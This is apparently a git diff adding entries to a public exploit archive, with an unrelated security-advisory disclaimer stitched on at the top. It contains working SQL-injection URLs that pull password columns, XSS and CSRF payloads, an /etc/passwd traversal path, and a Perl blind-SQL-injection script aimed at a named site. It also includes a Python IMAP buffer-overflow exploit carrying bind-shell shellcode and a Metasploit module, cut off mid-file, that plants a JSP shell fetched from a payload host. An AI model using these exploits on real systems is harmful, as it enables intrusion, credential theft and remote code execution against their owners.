Dell Inc. (NASDAQ: DELL) listens to customers and delivers worldwide innovative technology and business solutions they trust and value. Recognized as an industry leader by top analysts, Dell SecureWorks provides world-class information security services to help organizations of all sizes protect their IT assets, comply with regulations and reduce security costs.
|
||||
|
||||
Disclaimer
|
||||
Copyright © 2014 Dell SecureWorks
|
||||
This advisory may not be edited or modified in any way without the express written consent of Dell SecureWorks. Permission is hereby granted to link to this advisory via the Dell SecureWorks website or use in accordance with the fair use doctrine of U.S. copyright laws. See the Dell SecureWorks terms of use at http://www.secureworks.com/contact/terms_of_use/ for additional information.
|
||||
The most recent version of this advisory may be found on the Dell SecureWorks website at www.secureworks.com. The contents of this advisory may change or be removed from the website without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. ANY USE OF THIS INFORMATION IS AT THE USER'S RISK. In no event shall Dell SecureWorks be liable for any damages whatsoever arising out of or in connection with the use or further publication or disclosure of this information.
|
||||
10
platforms/php/webapps/31739.txt
Executable file
10
platforms/php/webapps/31739.txt
Executable file
|
|
@ -0,0 +1,10 @@
|
|||
source: http://www.securityfocus.com/bid/29049/info
|
||||
|
||||
TLM CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
TLM CMS 1.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/tlmcms_v1-1/tlmcms/index.php?affiche=Photo-Photo&ID=1'/**/union/**/select/**/0,1,concat(US_pwd),concat(US_pseudo),concat(US_mail)/**/from/**/pphp_user/*
|
||||
http://www.example.com/tlmcms_v1-1/tlmcms/index.php?affiche=Comment&act=lire&idnews=-99999999/**/union/**/select/**/0,1,concat(US_mail),concat(US_pseudo),concat(US_pwd),5,6,7,8,9,10/**/from/**/pphp_user/*
|
||||
9
platforms/php/webapps/31740.html
Executable file
9
platforms/php/webapps/31740.html
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/29050/info
|
||||
|
||||
LifeType is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
LifeType 1.2.8 is vulnerable; other versions may also be affected.
|
||||
|
||||
<html> <head></head> #Vulnerabily discovered by Khashayar Fereidani Or Dr.Crash <body onLoad=javascript:document.form.submit()> <form action="http://www.example.com/lifetype/admin.php?op=editArticleCategories" method="POST" name="form"> <input type="hidden" name="newBlogUserName" value="" [XSS CODE]"> <input type="hidden" name="Add this user" value="Add"> <input type="hidden" name="op" value="addBlogUser"> </form> </body> </html>
|
||||
9
platforms/php/webapps/31741.txt
Executable file
9
platforms/php/webapps/31741.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/29051/info
|
||||
|
||||
Maian Uploader is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||
|
||||
Maian Uploader 4.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/index.php?cmd=search&keywords="<script>alert('xss')</script>
|
||||
9
platforms/php/webapps/31742.txt
Executable file
9
platforms/php/webapps/31742.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/29051/info
|
||||
|
||||
Maian Uploader is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||
|
||||
Maian Uploader 4.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/maian/upload/admin/index.php?cmd=search&process=1&keywords="<script>alert('xss')</script>
|
||||
11
platforms/php/webapps/31743.txt
Executable file
11
platforms/php/webapps/31743.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
|||
source: http://www.securityfocus.com/bid/29051/info
|
||||
|
||||
Maian Uploader is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||
|
||||
Maian Uploader 4.0 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/admin/inc/header.php?msg_charset="<script>alert('xss')</script>
|
||||
http://www.example.com/admin/inc/header.php?msg_header9="<script>alert('xss')</script>
|
||||
http://www.example.com/admin/inc/header.php?msg_header9="<script>alert('xss')</script>
|
||||
9
platforms/php/webapps/31744.txt
Executable file
9
platforms/php/webapps/31744.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/29055/info
|
||||
|
||||
osCommerce is prone to multiple cross-site scripting vulnerabilities.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
osCommerce 2.2 RC1 and 2.2 RC2a are vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/[oscommerce]/categories.php?cPath=1_4&pID=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&action=new_product_preview&read=only http://www.example.com/[oscommerce]/categories.php?action=new_product_preview&read=only&pID=27&origin=stats_products_viewed.php?page=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/[oscommerce]/orders.php?cID=2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
|
||||
7
platforms/php/webapps/31745.txt
Executable file
7
platforms/php/webapps/31745.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/29057/info
|
||||
|
||||
BatmanPorTaL is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/lab/BatmanPorTaL/uyeadmin.asp?islem=uyeduzenle1&id=0+union+select+0,(admin_kd),2,1,(admin_pw),4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1,1+from+ayarlar
|
||||
7
platforms/php/webapps/31746.txt
Executable file
7
platforms/php/webapps/31746.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/29057/info
|
||||
|
||||
BatmanPorTaL is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/lab/BatmanPorTaL/profil.asp?id=1+union+select+0,admin_pw,admin_kd,3,4,5,6,7,8,9,1,1,1,1,1,1,1,1,1,1,1,1+from+ayarlar
|
||||
96
platforms/php/webapps/31747.pl
Executable file
96
platforms/php/webapps/31747.pl
Executable file
|
|
@ -0,0 +1,96 @@
|
|||
source: http://www.securityfocus.com/bid/29059/info
|
||||
|
||||
iGaming CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
The issue affects iGaming CMS 1.5; other versions may also be affected.
|
||||
|
||||
#!/usr/bin/perl
|
||||
#===========================================================================================================================#
|
||||
# _ ____ _ _ _ _ #
|
||||
# __ ___ __| |__ /_ _ ___ | |_ ___| | |_____ __ _____| |__ ___ _ _ #
|
||||
# / _/ _ \/ _` ||_ \ '_|_ / _ | ' \/ -_) | / _ \ V V / -_) '_ \ _ / -_) || | #
|
||||
# \__\___/\__,_|___/_| /__| (_) |_||_\___|_|_\___/\_/\_/\___|_.__/ (_) \___|\_,_| #
|
||||
#===========================================================================================================================#
|
||||
# iGaming 1.5 Remote Blind Sql Injection Exploit #
|
||||
#===========================================================================================================================#
|
||||
# Author : Cod3rZ #
|
||||
#===========================================================================================================================#
|
||||
# Site : http://cod3rz.helloweb.eu #
|
||||
# Site : http://devilsnight.altervista.org #
|
||||
#===========================================================================================================================#
|
||||
# $result = $db->Execute("SELECT * FROM sp_polls_options WHERE id = '$_REQUEST[id]'"); #
|
||||
#===========================================================================================================================#
|
||||
# ?id=-1' OR (SELECT IF((ASCII(SUBSTRING(`PASS`,1,1))=48),benchmark(200000000,CHAR(0)),0) FROM sp_members WHERE `ID`=1)/* #
|
||||
#===========================================================================================================================#
|
||||
# Thanks to: the man of the greetz, DreamMark #
|
||||
#===========================================================================================================================#
|
||||
# Exploit based: Rossi46GO #
|
||||
# Modded by: Cod3rZ #
|
||||
#===========================================================================================================================#
|
||||
# Usage: perl ig.pl site #
|
||||
#===========================================================================================================================#
|
||||
use LWP::UserAgent;
|
||||
use HTTP::Request::Common;
|
||||
use Time::HiRes;
|
||||
|
||||
$ua = LWP::UserAgent->new;
|
||||
|
||||
$site = "http://front-gamerz.com";
|
||||
|
||||
if(!$site) { &usage; }
|
||||
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
|
||||
|
||||
sub usage {
|
||||
print " Usage: perl ig.pl site \n";
|
||||
print " Ex.: perl ig.pl http://127.0.0.1 \n";
|
||||
}
|
||||
sub request {
|
||||
$var = $_[0];
|
||||
$start = Time::HiRes::time();
|
||||
$response = $ua->request(GET $var,s => $var);
|
||||
$response->is_success() || print("$!\n");
|
||||
$end = Time::HiRes::time();
|
||||
$time = $end - $start;
|
||||
return $time
|
||||
}
|
||||
sub refresh{
|
||||
system("cls");
|
||||
print " -------------------------------------------------\n";
|
||||
print " iGaming 1.5 Remote Blind Sql Injection Exploit \n";
|
||||
print " Powered by Cod3rZ \n";
|
||||
print " http://cod3rz.helloweb.eu \n";
|
||||
print " -------------------------------------------------\n";
|
||||
print " Please Wait.. \n";
|
||||
print " Hash : " . $_[3] . " \n";
|
||||
print " -------------------------------------------------\n";
|
||||
}
|
||||
for ($i = 1; $i < 33; $i++)
|
||||
{
|
||||
for ($j = 0; $j < 16; $j++)
|
||||
{
|
||||
$var = $site."/poll_vote.php?id=-1' OR (SELECT IF((ASCII(SUBSTRING(`PASS`,".$i.",1))=".$array[$j]."),benchmark(200000000,CHAR(0)),0) FROM sp_members WHERE `ID`=1)/*";
|
||||
$time = request($var);
|
||||
refresh($host,$timedefault,$j,$hash,$time,$i);
|
||||
if($time > 8)
|
||||
{
|
||||
$time = request($var);
|
||||
refresh($host,$timedefault,$j,$hash,$time,$i);
|
||||
$hash .= chr($array[$j]);
|
||||
refresh($host,$timedefault,$j,$hash,$time,$i);
|
||||
$j=200;
|
||||
}
|
||||
|
||||
}
|
||||
if($i == 1 && !$hash)
|
||||
{
|
||||
print " Failed \n";
|
||||
print " -------------------------------------------------\n";
|
||||
die();
|
||||
}
|
||||
if($i == 32) {
|
||||
print " Exploit Terminated \n";
|
||||
print " -------------------------------------------------\n ";
|
||||
system('pause');
|
||||
}}
|
||||
8
platforms/php/webapps/31750.txt
Executable file
8
platforms/php/webapps/31750.txt
Executable file
|
|
@ -0,0 +1,8 @@
|
|||
source: http://www.securityfocus.com/bid/29072/info
|
||||
|
||||
QTO File Manager is prone to a vulnerability that lets remote attackers upload and execute arbitrary script code because the application fails to sanitize user-supplied input.
|
||||
|
||||
An attacker can leverage this issue to execute arbitrary code on an affected computer with the privileges of the webserver process.
|
||||
|
||||
http://www.example.com/qtofm.php?[shell.php.jpg]
|
||||
|
||||
9
platforms/php/webapps/31751.txt
Executable file
9
platforms/php/webapps/31751.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/29074/info
|
||||
|
||||
Sphider is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
Sphider 1.3.4 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/search.php?query=xsss%20%3Cscript%3Ealert('HELLO');%3C/script%3E&search=1
|
||||
10
platforms/php/webapps/31752.txt
Executable file
10
platforms/php/webapps/31752.txt
Executable file
|
|
@ -0,0 +1,10 @@
|
|||
source: http://www.securityfocus.com/bid/29077/info
|
||||
|
||||
Forum Rank System is prone to local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker can exploit these vulnerabilities using directory-traversal strings to view files local scripts in the context of the webserver process. This may aid in further attacks.
|
||||
|
||||
Forum Rank System 6 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/infusions/rank_system/forum.php?settings[locale]=../../../../../../../../etc/passwd%00
|
||||
http://www.example.com/infusions/rank_system/profile.php?settings[locale]=../../../../../../../../etc/passwd%00
|
||||
9
platforms/php/webapps/31753.txt
Executable file
9
platforms/php/webapps/31753.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/29090/info
|
||||
|
||||
Tux CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||
|
||||
Tux CMS 0.1 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.example.com/?q=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=%00""><script>alert(document.cookie)</script> http://www.example.com/tux-syndication/atom.php/>"><ScRiPt>alert(document.cookie)</ScRiPt>
|
||||
7
platforms/windows/dos/31696.txt
Executable file
7
platforms/windows/dos/31696.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/28888/info
|
||||
|
||||
Computer Associates eTrust Secure Content Manager is prone to a remote denial-of-service vulnerability.
|
||||
|
||||
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
|
||||
|
||||
http://www.exploit-db.com/sploits/31696.zip
|
||||
9
platforms/windows/dos/31707.txt
Executable file
9
platforms/windows/dos/31707.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/28927/info
|
||||
|
||||
Computer Associates ARCserve Backup is affected by a denial-of-service vulnerability because the application mishandles malformed user-supplied input.
|
||||
|
||||
A remote attacker may exploit this issue to cause denial-of-service conditions.
|
||||
|
||||
CA ARCserve Backup 12.0.5454.0 is affected by this issue; other versions may also be vulnerable.
|
||||
|
||||
http://www.exploit-db.com/sploits/31707.zip
|
||||
9
platforms/windows/dos/31748.txt
Executable file
9
platforms/windows/dos/31748.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/29065/info
|
||||
|
||||
Yahoo! Assistant 'yNotifier.dll' ActiveX control is prone to a memory-corruption vulnerability.
|
||||
|
||||
Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application using the affected ActiveX control. Failed exploit attempts will likely crash the application.
|
||||
|
||||
The issue affects Yahoo! Assistant 3.6 and prior versions.
|
||||
|
||||
<object classid='clsid:2283BB66-A15D-4AC8-BA72-9C8C9F5A1691'>
|
||||
102
platforms/windows/remote/31694.py
Executable file
102
platforms/windows/remote/31694.py
Executable file
|
|
@ -0,0 +1,102 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import sys,socket
|
||||
|
||||
|
||||
|
||||
|
||||
banner = """
|
||||
|
||||
####################################################################################
|
||||
### ###
|
||||
### Coded by: Muhammad EL Harmeel m.harmeel(at)gmail(dot)com ###
|
||||
### ###
|
||||
####################################################################################
|
||||
|
||||
*************************************************************************************
|
||||
* Details: *
|
||||
* *
|
||||
* - PRE AUTHENTICATION Eudora Qualcomm WorldMail 9.0.333.0 IMAPd Service *
|
||||
* Preauthentication Buffer Overflow. *
|
||||
* - Tested on: Windows Server 2003 SP1. *
|
||||
* - SEH gets overwritten at 749 bytes when using UID command. *
|
||||
* Only 79 bytes left after SEH, So the shellcode was placed before SEH *
|
||||
* and backward jump is used after SEH to execute the shellcode. *
|
||||
* - Shellcode: shell_bind_tcp LPORT*4444 EXITFUNC*seh , Bad charcters are 0x00 0x7b *
|
||||
*************************************************************************************
|
||||
|
||||
"""
|
||||
|
||||
|
||||
print banner
|
||||
|
||||
|
||||
|
||||
if len(sys.argv)!=3:
|
||||
banner()
|
||||
print "\nUsage: ./worldmail_uid.py <IP> <PORT>\n"
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
|
||||
|
||||
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" # this is the marker/tag: w00t
|
||||
|
||||
shellcode = "w00tw00t" + ("\xb8\x3b\xe5\xd0\x36\xda\xd3\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
|
||||
"\x56\x31\x42\x13\x83\xc2\x04\x03\x42\x34\x07\x25\xca\xa2\x4e"
|
||||
"\xc6\x33\x32\x31\x4e\xd6\x03\x63\x34\x92\x31\xb3\x3e\xf6\xb9"
|
||||
"\x38\x12\xe3\x4a\x4c\xbb\x04\xfb\xfb\x9d\x2b\xfc\xcd\x21\xe7"
|
||||
"\x3e\x4f\xde\xfa\x12\xaf\xdf\x34\x67\xae\x18\x28\x87\xe2\xf1"
|
||||
"\x26\x35\x13\x75\x7a\x85\x12\x59\xf0\xb5\x6c\xdc\xc7\x41\xc7"
|
||||
"\xdf\x17\xf9\x5c\x97\x8f\x72\x3a\x08\xb1\x57\x58\x74\xf8\xdc"
|
||||
"\xab\x0e\xfb\x34\xe2\xef\xcd\x78\xa9\xd1\xe1\x75\xb3\x16\xc5"
|
||||
"\x65\xc6\x6c\x35\x18\xd1\xb6\x47\xc6\x54\x2b\xef\x8d\xcf\x8f"
|
||||
"\x11\x42\x89\x44\x1d\x2f\xdd\x03\x02\xae\x32\x38\x3e\x3b\xb5"
|
||||
"\xef\xb6\x7f\x92\x2b\x92\x24\xbb\x6a\x7e\x8b\xc4\x6d\x26\x74"
|
||||
"\x61\xe5\xc5\x61\x13\xa4\x81\x46\x2e\x57\x52\xc0\x39\x24\x60"
|
||||
"\x4f\x92\xa2\xc8\x18\x3c\x34\x2e\x33\xf8\xaa\xd1\xbb\xf9\xe3"
|
||||
"\x15\xef\xa9\x9b\xbc\x8f\x21\x5c\x40\x5a\xe5\x0c\xee\x34\x46"
|
||||
"\xfd\x4e\xe4\x2e\x17\x41\xdb\x4f\x18\x8b\x6a\x48\xd6\xef\x3f"
|
||||
"\x3f\x1b\x10\xae\xe3\x92\xf6\xba\x0b\xf3\xa1\x52\xee\x20\x7a"
|
||||
"\xc5\x11\x03\xd6\x5e\x86\x1b\x30\x58\xa9\x9b\x16\xcb\x06\x33"
|
||||
"\xf1\x9f\x44\x80\xe0\xa0\x40\xa0\x6b\x99\x03\x3a\x02\x68\xb5"
|
||||
"\x3b\x0f\x1a\x56\xa9\xd4\xda\x11\xd2\x42\x8d\x76\x24\x9b\x5b"
|
||||
"\x6b\x1f\x35\x79\x76\xf9\x7e\x39\xad\x3a\x80\xc0\x20\x06\xa6"
|
||||
"\xd2\xfc\x87\xe2\x86\x50\xde\xbc\x70\x17\x88\x0e\x2a\xc1\x67"
|
||||
"\xd9\xba\x94\x4b\xda\xbc\x98\x81\xac\x20\x28\x7c\xe9\x5f\x85"
|
||||
"\xe8\xfd\x18\xfb\x88\x02\xf3\xbf\xb7\xf3\xc9\x55\x2f\xaa\xb8"
|
||||
"\x17\x2d\x4d\x17\x5b\x48\xce\x9d\x24\xaf\xce\xd4\x21\xeb\x48"
|
||||
"\x05\x58\x64\x3d\x29\xcf\x85\x14")
|
||||
|
||||
|
||||
buffer = "A" * 292 #Junk
|
||||
buffer += shellcode #Shellcode of 368 bytes to spawn a shell listening on port 4444
|
||||
buffer += "\x90" *81 #Nop Sled to fill the rest of the buffer after the shellcode
|
||||
buffer += "\xEB\x06\x90\x90" #Short JMP of 6 bytes.
|
||||
buffer += "\x95\xcb\x0d\x60" #Memory Address of POP POP RETN sequence at module MsccMgr.dll @ windows server 2003.
|
||||
buffer += egghunter #Egg hunter to search for the tag "w00tw00t" and executes the code after it
|
||||
buffer += "}" *32 #Junk
|
||||
|
||||
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
try:
|
||||
s.connect((sys.argv[1],int(sys.argv[2])))
|
||||
except:
|
||||
print "Can\'t connect to server!\n"
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
|
||||
print "[+] Connecting to victim !"
|
||||
data=s.recv(1024)
|
||||
print "[+] "+data.rstrip()
|
||||
print "[+] Sending evil buffer..."
|
||||
s.send('A013 UID FETCH 4827313:4827313 '+ buffer + "\r\n")
|
||||
s.close()
|
||||
print "[+] Exploitation Successful\n"
|
||||
print "[+] Please Connect to port 4444 on victim IP now !\n"
|
||||
|
||||
|
||||
|
||||
266
platforms/windows/remote/31737.rb
Executable file
266
platforms/windows/remote/31737.rb
Executable file
|
|
@ -0,0 +1,266 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'uri'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
Rank = GreatRanking
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Oracle Forms and Reports Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module uses two vulnerabilities in Oracle forms and reports to get remote code execution
|
||||
on the host. The showenv url can be used to disclose information about a server. A second
|
||||
vulnerability that allows arbitrary reading and writing to the host filesystem can then be
|
||||
used to write a shell from a remote url to a known local path disclosed from the previous
|
||||
vulnerability.
|
||||
|
||||
The local path being accessable from an URL then allows us to perform the remote code
|
||||
execution using for example a .jsp shell.
|
||||
|
||||
Tested on Windows and Oracle Forms and Reports 10.1.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'miss_sudo <security[at]netinfiltration.com>', # Vulnerability discovery
|
||||
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ "CVE", "2012-3152" ],
|
||||
[ "CVE", "2012-3153" ],
|
||||
[ "OSVDB", "86395" ], # Matches CVE-2012-3152
|
||||
[ "OSVDB", "86394" ], # Matches CVE-2012-3153
|
||||
[ "EDB", "31253" ],
|
||||
[ 'URL', "http://netinfiltration.com" ]
|
||||
],
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Platform' => ['win', 'linux'],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[ 'Windows',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 15 2014'
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]),
|
||||
OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]),
|
||||
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
if res.body =~ /\\(.*)\\showenv/
|
||||
vprint_good "#{peer} - Windows install detected "
|
||||
path = $1.gsub("\\", "/")
|
||||
vprint_status "#{peer} - Path: #{path}"
|
||||
elsif res.body =~ /\/(.*)\/showenv/
|
||||
vprint_good "#{peer} - Linux install detected"
|
||||
vprint_status "#{peer} - Path: #{$1}"
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'report' => 'test.rdf',
|
||||
'desformat' => 'html',
|
||||
'destype' => 'cache',
|
||||
'JOBTYPE' => 'rwurl',
|
||||
'URLPARAMETER' => 'file:///'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.downcase.exclude?("<html>")
|
||||
vprint_good "#{peer} - URLPARAMETER is vulnerable"
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
vprint_status "#{peer} - URLPARAMETER is not vulnerable"
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
@payload_url = ""
|
||||
@payload_name = rand_text_alpha(8+rand(8)) + ".jsp"
|
||||
@payload_dir = datastore['PAYDIR']
|
||||
@local_path = ""
|
||||
|
||||
print_status "#{peer} - Querying showenv!"
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
|
||||
'method' => 'GET',
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
if res.body =~ /\\(.*)\\showenv/
|
||||
print_good "#{peer} - Query succeeded!"
|
||||
print_status "#{peer} - Windows install detected "
|
||||
@local_path = $1.gsub("\\", "/")
|
||||
print_status "#{peer} - Path: #{@local_path }"
|
||||
elsif res.body =~ /\/(.*)\/showenv/
|
||||
print_good "#{peer} - Query succeeded!"
|
||||
print_status "#{peer} - Linux install detected"
|
||||
@local_path = $1
|
||||
print_status "#{peer} - Path: #{@local_path }"
|
||||
else
|
||||
print_status "#{peer} - Query failed"
|
||||
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
|
||||
end
|
||||
|
||||
if datastore['EXTURL'].blank?
|
||||
print_status "#{peer} - Hosting payload locally ..."
|
||||
begin
|
||||
Timeout.timeout(datastore['HTTPDELAY']) {super}
|
||||
rescue Timeout::Error
|
||||
end
|
||||
exec_payload
|
||||
else
|
||||
print_status "#{peer} - Using external url for payload delivery ..."
|
||||
@payload_url = datastore['EXTURL']
|
||||
upload_payload
|
||||
exec_payload
|
||||
end
|
||||
end
|
||||
|
||||
def primer
|
||||
@payload_url = get_uri
|
||||
@pl = gen_file_dropper
|
||||
upload_payload
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
send_response(cli, @pl)
|
||||
end
|
||||
|
||||
def upload_payload
|
||||
print_status "#{peer} - Uploading payload ..."
|
||||
path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
|
||||
'method' => 'GET',
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'report' => 'test.rdf',
|
||||
'desformat' => 'html',
|
||||
'destype' => 'file',
|
||||
'desname' => path,
|
||||
'JOBTYPE' => 'rwurl',
|
||||
'URLPARAMETER' => @payload_url
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
print_good "#{peer} - Payload hopefully uploaded!"
|
||||
else
|
||||
print_status "#{peer} - Payload upload failed"
|
||||
end
|
||||
end
|
||||
|
||||
def gen_file_dropper
|
||||
big_payload = false #size matters :(
|
||||
|
||||
gen_payload_name = rand_text_alpha(8+rand(8))
|
||||
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
|
||||
print_status "#{peer} - Building JSP shell ..."
|
||||
|
||||
len = encoded_pl.length
|
||||
if len >= 60000 #java string size limit ~60k workaround
|
||||
print_status "#{peer} - Adjusting shell due to payload size"
|
||||
pl_first = encoded_pl.slice(0, 60000)
|
||||
pl_second = encoded_pl.slice(60000, len)
|
||||
big_payload = true
|
||||
end
|
||||
|
||||
#embed our payload
|
||||
shell = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>"
|
||||
shell += " <%"
|
||||
shell += " BASE64Decoder decoder = new BASE64Decoder();"
|
||||
#correct file suffix if windows
|
||||
if datastore['TARGET'] == 1
|
||||
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");"
|
||||
else
|
||||
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");"
|
||||
end
|
||||
shell += " String path = temp.getAbsolutePath();"
|
||||
if big_payload
|
||||
shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");"
|
||||
shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");"
|
||||
|
||||
